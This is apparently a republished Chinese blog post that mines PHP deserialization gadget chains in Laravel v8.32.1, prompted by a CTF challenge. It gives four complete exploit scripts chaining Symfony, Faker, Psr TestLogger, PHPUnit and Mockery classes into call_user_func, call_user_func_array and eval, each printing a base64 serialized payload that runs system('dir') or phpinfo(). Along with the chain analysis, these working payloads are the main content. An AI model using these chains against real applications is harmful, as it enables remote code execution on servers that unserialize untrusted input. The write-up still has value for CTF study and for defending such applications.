您的位置 首页 php

搜索 一道CTF题引起的对laravel v8.32.1序列化利用链挖掘


0x00 前言

前几天刚搞完 V&NCTF ,里边有一道 easy_laravel 题目引起了我的注意(指挖了一下午的序列化链,结果路由不正确无法利用CVE反序列化,呜呜呜,气死我耶),于是就将整个有趣(心酸)的过程写出来分享一下吧。

0x01 利用条件

  • 需要配合一个完全可控的反序列化点( 比如结合CVE,不过这里的版本是目前最新版 v8.32.1 )

0x02 环境配置

先配好 8.32.1 版本的 laravel ,确保当前版本正确。

f4b4afa749934c7e9e46106f7c4cb4f8

然后在 public/index.php 手动新建一个可控的序列化点:

d7f68886e0704e5e82ad388ca93ee185

0x03 链条分析

由于这里是另挖掘,所以我们就尽可能的避免 easy_laravel 题目WP所给的链条吧。

call_user_func([可控],[可控])

先从最简单的单参数任意函数执行开始吧。

分析

首先,来到入口点,不妨找一个需要有 __destruct 方法的类,且该方法拥有形如 $this->[可控]->xxx() 的语句,这样就能够方便的触发 __call 方法了。比如说 ImportConfigurator 类就是一个不错的开始。

75d96df68fa3483bbbfb5dc5448ff456

下一步即是找一个较为符合的拥有 __call 方法的类了,比如这里可以选择 ValidGenerator 类,因为这个类的 __call 存在两个较为明显的 call_user_func/call_user_func_array 函数。

ec6fd729bd574458881de727f9e47bb3

现在需要做的即是想尽办法让这两个函数其中一个的参数 可控 就行了。可以先分析第一个 call_user_func_array 函数,其中 $name 是不可控的,且值为 addCollection ,虽说 $this->generator $arguments 是可控的,但要直接通过这两个可控的参数进行 rce 基本是不可能的。

那么再看一下 DefaultGenerator 类的 __call 方法。显然当这个方法被调用时,无论传入是啥 方法 或是 参数 都可以得到一个 [可控] 的任意值。

51303c32564a47a78f6dfd112d4cf5b8

这时不妨回过头来看 ValidGenerator 类的 __call 方法中第二个 call_user_func 函数。在这个函数中 $this->validator 是可控的了,然后 $res 实际上是来自第一个 call_user_func_array 的返回值。那么假设现在咱们用第一个 call_user_func_array 方法去调用 DefaultGenerator 类的 __call 方法,既可以返回一个 [可控] 的值,也就是说 $res 现在也是可控的了。

综上,咱们现在实际上就可以得到形如 call_user_func([可控],[可控]) 的形式了。

此时需要构造的内容大致如下:

  • ImportConfigurator->parent = ValidGenerator类
  • ValidGenerator->maxRetries = 1
  • ValidGenerator->generator = DefaultGenerator类
  • DefaultGenerator->default = [任意可控函数参数]
  • ValidGenerator->validator = [任意可控函数名称]

图示

然后是简单的调用图示:

3458f16321d948df80f80ea568b4e822

exp

 <?phpnamespace Symfony\Component\Routing\Loader\Configurator{    class ImportConfigurator{        private $parent;        function __construct($c1){            $this->parent = $c1;        }    }}namespace Faker{    class DefaultGenerator{        protected $default;        function __construct($param){            $this->default = $param;        }    }    class ValidGenerator{        protected $generator;        protected $validator;        protected $maxRetries;        function __construct($func,$param){            $this->generator = new DefaultGenerator($param);            $this->maxRetries = 1;            $this->validator = $func;        }    }}namespace{    echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator('system','dir'))));}  

执行效果:

2a4a82b997334b3ba3264f03121026ab

网络安全学习资料关注私信“白嫖”

71b27fc719564c01914dabae7f484e85

call_user_func([可控],[可控],[可控])

当然,单参数的任意函数执行显然是还不满足的。在 php7 中如若可以达成 2 个参数的任意函数执行,就可以通过调用 create_function 来进行形如 eval rce 了。这里就朝着 2 个参数的任意函数执行进发。

分析

首先还是利用上边的 call_user_func([可控],[可控]) 这条链作为基础,咱们继续往下看。那么,先来到 TestLogger 类,在这个类的 hashRecordThatPasses 方法中,存在一个可以传 2 个参数的 call_user_func 方法,不过这个方法需要传 2 个参数。

8089c69ec59d4dc8b62f877ed8f9762c

不过问题不大,可以再看一下还是这个类的 __call 方法。由于这里的 $agrs 变量存在形如 array_push 的操作,不妨利用这个方法作为跳板满足 2 个参数的要求调用回 hashRecordThatPasses 方法。

855305ddda0d41f5b76b1321100c6326

那么也就是说 $genericMehotd 必须被构造成 hashRecordThatPasses ,其次传入的 $agrs 参数必须是 callable 。这里的 callable 可以指的是一个 函数 也可以是一个 可调用的函数名称字符串 ,但在序列化时是不能够保存 函数 的,所以 $agrs 的内容只能是一个 可调用的函数名称字符串

看一下关键的代码吧,

 if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) {            $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3];            $level = strtolower($matches[2]);            if (method_exists($this, $genericMethod)) {                $args[] = $level;                return call_user_func_array([$this, $genericMethod], $args);            }        }  

简单来说,要想让 $genericMethod 变量的值为 hashRecordThatPasses ,得让 $method 的值为 hashInfoThatPasses 即可。

首先,根据 preg_match 函数的正则,必须满足 [任意字符](Debug|Info|……)[任意字符] 才能够满足这个条件。此时若传入 hashInfoThatPasses 时, $mathes 变量的值为:

  • [0] => hasInfoThatPasses
  • [1] => has
  • [2] => Info
  • [3] => ThatPasses

$genericMethod = $matches[1] . (‘Records’ !== $matches[3] ? ‘Record’ : ”) . $matches[3]; 这一条语句,由于在 $matches[1] 中的 has 字符串中找不到 Record ,也就会加上,成为 hasRecord ,然后再和 $matches[3] 中的 ThatPasses 字符串做拼接,最后就构成了 hashRecordThatPasses

此时后边的 call_user_func_array([$this,$genericMehotd],$args) 就相当于 $this->hashRecordThatPasses([可控内容],’info’)

让我们把关注点拉回 hashRecordThatPasses 方法中。

7d35cda52e81471dbb73eb114468a2bb

这里会对 this->recordsByLevel[ this −> recordsByLevel [level] 进行遍历,其中 键名 会作为第 3 个参数,而 键值 作为第 2 个参数,而 $level 实际上也就是传入的 info 字符串。同时 predicate 这个也就是上边可控的内容,不过必须得是一个 callable 型,这里直接传 可调用的函数名称字符串 即可。

还有一点是,由于第 3 个参数来自 键名 ,所以不能是一个 数组 也就不能够构造形如 call_user_func + call_user_func_array 的套娃了。

所以现在大致可以得到了一个形如 call_user_func([可控],[可控],[可控]) 的形式了。

此时需要构造的内容大致如下:

  • ImportConfigurator->parent = ValidGenerator类
  • ValidGenerator->maxRetries = 1
  • ValidGenerator->generator = DefaultGenerator类
  • DefaultGenerator->default = [TestLogger类,’hashInfoThatPasses’]
  • ValidGenerator->validator = [任意可控函数名称]
  • TestLogger->recordsByLevel[‘info’] = [‘[可控参数]’=>'[任意可控参数]’]

图示

e3b8b1535d314fc981273448150d95fb

exp

 <?phpnamespace Symfony\Component\Routing\Loader\Configurator{    class ImportConfigurator{        private $parent;        function __construct($c1){            $this->parent = $c1;        }    }}namespace Faker{    class DefaultGenerator{        protected $default='call_user_func';    }    class ValidGenerator{        protected $generator;        protected $validator;        protected $maxRetries;        function __construct($c2){            $this->generator = new DefaultGenerator();            $this->maxRetries = 1;            $this->validator = [$c2,'hasInfoThatPasses'];        }    }}namespace Psr\log{    abstract class AbstractLogger{}}namespace Psr\Log\Test{    use Psr\Log\AbstractLogger;    class TestLogger extends AbstractLogger{        public $recordsByLevel = ['info'=>['dir'=>'system']];    }}namespace{    echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new Psr\Log\Test\TestLogger))));}  

执行效果:

e457e35c356a434fa72e59a13692316e

这里原本思路是通过调用 create_function 函数进行 rce 的,然而会出现 弃用 的报错。

866a6290a33945e4a9572902dde6b34c

call_user_func_array([完全可控])

既然使用 create_function 会报错,那不如使用别的和 eval 有类似效果的函数,比如 mbereg_replace 试试。那就需要一个 完全可控 call_user_func_array 才行了。

分析

那么还是利用上边的 call_user_func([可控],[可控]) 链作为基础,继续看吧。这里来到 ReturnCallback 类的 invoke 方法,这里存在一个 call_user_func_array 函数,其中 $this->callback 可控 的了。

10c6d2d83cb749e6a48e52254eb58de7

再看 $invocation->getParameters() 这个方法返回的内容,显然 $this->parameters 是咱们可控的了,也就是说返回值是可控的。

f8ba1cce727d4f30ba668b3dde79fae9

这条链确实是非常简单的,可以简单列一下需要构造的大致内容:

  • ImportConfigurator->parent = ValidGenerator类
  • ValidGenerator->maxRetries = 1
  • ValidGenerator->generator = DefaultGenerator类
  • DefaultGenerator->default = [ReturnCallback类,’invoke’]
  • ReturnCallback->callback = [任意可控的函数名称]
  • ValidGenerator->validator = Invocation类
  • Invocation->parameters = [任意可控的函数参数]

现在咱们就可以得到 call_user_func_array([完全可控]) 的形式了。

图示

47cf8003449546799d796639c5b76a20

exp

 <?phpnamespace Symfony\Component\Routing\Loader\Configurator{    class ImportConfigurator{        private $parent;        function __construct($c1){            $this->parent = $c1;        }    }}namespace Faker{    class DefaultGenerator{        protected $default;        function __construct($c3){            $this->default = $c3;        }    }    class ValidGenerator{        protected $generator;        protected $validator;        protected $maxRetries;        function __construct($c2,$c3){            $this->generator = new DefaultGenerator($c3);            $this->maxRetries = 1;            $this->validator = [$c2,'invoke'];        }    }}namespace PHPUnit\Framework\MockObject{    final class Invocation{            private $parameters = ['dir'];    }}namespace PHPUnit\Framework\MockObject\Stub{    use PHPUnit\Framework\MockObject\Invocation;    final class ReturnCallback{        private $callback = 'system';    }}namespace{    echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new PHPUnit\Framework\MockObject\Stub\ReturnCallback,new PHPUnit\Framework\MockObject\Invocation))));}  

执行效果:

115a877a871e46c9809f33dee2f01eff

只是如果调用 mbereg_replace ,会显示已弃用的错误。

c92376f8028e4620a18910c36be2433a

eval([完全可控])

看起来是没辙了,只能找一个 eval 的玩意了。

分析

OK,这里还是利用上边的 call_user_func([可控],[可控]) 的链条作为基础。这里选择 EvalLoader 类的 load 方法,主要是这个方法里边有 eval 的调用。那么现在我们来看一下如何达成 eval([完全可控]) 吧。

0c9edbee25d94782bd42328e5b5c71c4

这里主要还是 2 点,首先让第 1 个条件不满足,即是 $definition->getClassName() 返回的值是一个不存在的类即可。其中 $definition 得是 MockDefinition 类,然后咱们可以简单跟进 $definition 类的 getClassName 这个方法看看。

这里在 getClassName 方法中会执行 return $this->config->getName() 语句,其中 $this->config 的值显然为 MockConfiguration 类,即是调用了 MockConfiguration 类的 getName 方法。

那么再跟进 MockConfiguration 类的 getName 方法,这里简单的返回了 $this->name ,而这个 $this->name 实际上是可控的。

0e00b930cf114b90bf69c4076153c20b

5af6afc762c24ab387922a7c93ea076e

也就是说上边的 $definition->getClassName() 得到的值是 可控 的了,咱们不妨将其构造成任意一个不存的类名即可(比如Morouu)。

之后再看第 2 点,也就是 eval(“?>”.$definition->getCode()) 这段语句,话不多说,先跟进 MockDefinition 类的 getCode 方法吧。

1bde76c6bb6a4bdfb03044f03b805f31

这里只是简单的返回了 $this->code 的值,而 $this->code 确实是 可控 的。也就是说现在这条链成功到达了对 eval 的调用。那么简单的构造一下构造的大致内容吧:

  • ImportConfigurator->parent = ValidGenerator类
  • ValidGenerator->maxRetries = 1
  • ValidGenerator->generator = DefaultGenerator类
  • DefaultGenerator->default = [EvalLoader类,’load’]
  • MockDefinition->config = MockConfiguration类
  • MockConfiguration->name = ‘[任意不存在的类名称]’
  • MockDefinition->code = <?php [任意代码] ?>

此时就可以得到 eval([完全可控]) 的形式了。

图示

62536b93a599476482d4c9cf7020f675

exp

 <?phpnamespace Symfony\Component\Routing\Loader\Configurator{    class ImportConfigurator{        private $parent;        function __construct($c1){            $this->parent = $c1;        }    }}namespace Faker{    class DefaultGenerator{        protected $default;        function __construct($c3){            $this->default = $c3;        }    }    class ValidGenerator{        protected $generator;        protected $validator;        protected $maxRetries;        function __construct($c2,$c3){            $this->generator = new DefaultGenerator($c3);            $this->maxRetries = 1;            $this->validator = [$c2,'load'];        }    }}namespace Mockery\Generator{    class MockConfiguration{        protected $name = 'Morouu';    }    class MockDefinition{        protected $config;        protected $code;        function __construct($code){            $this->config = new MockConfiguration;            $this->code = $code;        }    }}namespace Mockery\Loader{    use Mockery\Generator\MockDefinition;    class EvalLoader{}}namespace{    echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new Mockery\Loader\EvalLoader,new Mockery\Generator\MockDefinition('?><?php phpinfo();exit; ?>')))));}  

执行效果:

55efb10d6a8b48be9b672b86d6857f2c

关注私信“白嫖”获取网安学习资料

3244ac0f2b6948ec8dda8885bd07b1d2

文章来源:智云一二三科技

文章标题:搜索 一道CTF题引起的对laravel v8.32.1序列化利用链挖掘

文章地址:https://www.zhihuclub.com/31055.shtml

关于作者: 智云科技

热门文章

网站地图